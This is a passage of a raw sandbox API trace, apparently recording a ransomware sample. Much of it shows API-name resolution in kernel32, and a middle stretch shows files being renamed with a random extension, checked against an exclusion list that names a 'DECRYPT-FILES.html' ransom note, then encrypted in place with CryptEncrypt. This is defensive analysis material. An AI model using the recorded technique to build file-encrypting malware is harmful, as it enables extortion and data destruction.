returned="CreateHardLinkA" [0149.227] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0149.228] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0149.228] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0149.228] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0149.228] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0149.228] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0149.228] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0149.228] lstrlenA (lpString="CREATEJOBSET") returned 12 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0149.228] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0149.228] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0149.228] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0149.228] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0149.228] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0149.228] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0149.228] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0149.228] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0149.229] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0149.229] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0149.229] lstrlenA (lpString="CREATEPIPE") returned 10 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0149.229] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0149.229] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0149.229] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0149.229] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0149.229] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0149.229] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0149.229] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0149.229] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0149.229] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0149.229] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0149.229] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0149.229] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0149.230] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0149.230] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0149.230] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0149.230] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0149.230] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0149.230] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0149.230] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0149.230] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0149.230] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0149.230] lstrlenA (lpString="CREATETHREAD") returned 12 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0149.230] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0149.230] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0149.230] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0149.230] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0149.230] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0149.231] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0149.231] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0149.231] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0149.231] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0149.231] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0149.231] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0149.231] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0149.231] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\stop.ico.SqXBcXE") returned 47 [0149.231] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.SqXBcXE" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.sqxbcxe"), dwFlags=0x0) returned 1 [0149.232] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.233] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.233] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.233] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0149.233] lstrcmpiW (lpString1="SysReqMet.ico", lpString2="DECRYPT-FILES.html") returned 1 [0149.233] lstrcmpiW (lpString1="SysReqMet.ico", lpString2="autorun.inf") returned 1 [0149.234] lstrcmpiW (lpString1="SysReqMet.ico", lpString2="boot.ini") returned 1 [0149.234] lstrcmpiW (lpString1="SysReqMet.ico", lpString2="desktop.ini") returned 1 [0149.234] lstrcmpiW (lpString1="SysReqMet.ico", lpString2="ntuser.dat") returned 1 [0149.234] lstrcmpiW (lpString1="SysReqMet.ico", lpString2="iconcache.db") returned 1 [0149.234] lstrcmpiW (lpString1="SysReqMet.ico", lpString2="bootsect.bak") returned 1 [0149.234] lstrcmpiW (lpString1="SysReqMet.ico", lpString2="ntuser.dat.log") returned 1 [0149.234] lstrcmpiW (lpString1="SysReqMet.ico", lpString2="thumbs.db") returned -1 [0149.234] lstrcmpiW (lpString1="SysReqMet.ico", lpString2="Bootfont.bin") returned 1 [0149.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0149.234] lstrlenW (lpString="SysReqMet.ico") returned 13 [0149.234] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0149.234] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="SysReqMet.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" [0149.234] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.234] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0149.234] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=1150) returned 1 [0149.235] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0149.235] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0149.237] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0149.237] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0149.237] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.237] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0149.238] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0149.238] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.238] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0149.238] CloseHandle (hObject=0x5f8) returned 1 [0149.238] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.239] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0149.239] CloseHandle (hObject=0x0) returned 0 [0149.240] CloseHandle (hObject=0x5f4) returned 1 [0149.240] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.241] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.241] GetTickCount () returned 0x3a922 [0149.241] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.241] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0149.241] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0149.242] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.242] lstrlenA (lpString="kernel32.dll") returned 12 [0149.242] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0149.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0149.242] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0149.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0149.242] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0149.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0149.242] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0149.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0149.242] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0149.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0149.242] lstrlenA (lpString="ADDATOMA") returned 8 [0149.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0149.243] lstrlenA (lpString="ADDATOMW") returned 8 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0149.243] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0149.243] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0149.243] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0149.243] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0149.243] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0149.243] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0149.243] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0149.243] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0149.243] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0149.243] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0149.243] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0149.243] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0149.243] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0149.243] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0149.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0149.244] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0149.244] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0149.244] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0149.244] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0149.244] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0149.244] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0149.244] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0149.244] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0149.244] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0149.244] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0149.244] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0149.244] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0149.244] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0149.244] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0149.244] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0149.244] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0149.244] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0149.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0149.244] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0149.245] lstrlenA (lpString="BACKUPREAD") returned 10 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0149.245] lstrlenA (lpString="BACKUPSEEK") returned 10 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0149.245] lstrlenA (lpString="BACKUPWRITE") returned 11 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0149.245] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0149.245] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0149.245] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0149.245] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0149.245] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0149.245] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0149.245] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") 